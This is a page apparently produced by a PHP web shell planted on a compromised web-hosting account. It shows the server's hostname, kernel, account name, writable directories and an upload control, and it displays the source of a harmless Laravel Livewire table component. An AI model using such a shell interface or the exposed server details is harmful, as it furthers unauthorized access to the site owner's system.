Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux server335.web-hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : cardxfeb ( 2452)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/cardxfeb/public_html/app/Livewire/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/cardxfeb/public_html/app/Livewire/LivewireTableComponent.php
<?php

namespace App\Livewire;

use Illuminate\Database\Eloquent\Builder;
use Rappasoft\LaravelLivewireTables\DataTableComponent;

/**
 * Class LivewireTableComponent
 */
class LivewireTableComponent extends DataTableComponent
{
         public $enabled = false;
    protected bool $columnSelectStatus = false;

    protected $listeners = ['resetPageTable'];

    public bool $sortingPillsStatus = false;

    public bool $filterPillsStatus = false;

    public string $emptyMessage = ('messages.common.no_data_available');

    // for table header button
    public bool $showButtonOnHeader = false;

    public string $buttonComponent = '';
    public function configure(): void
    {

    }

    public function mountWithPerPagePagination(): void
    {
        // TODO: Implement configure() method.
    }

    public function columns(): array

    {
        // TODO: Implement columns() method.
    }

    public function resetPageTable($pageName = 'page')
    {
        $rowsPropertyData = $this->getRows()->toArray();
        $prevPageNum = $rowsPropertyData['current_page'] - 1;
        $prevPageNum = $prevPageNum > 0 ? $prevPageNum : 1;
        $pageNum = count($rowsPropertyData['data']) > 0 ? $rowsPropertyData['current_page'] : $prevPageNum;

        $this->setPage($pageNum, $pageName);
    }
}

Al-HUWAITI Shell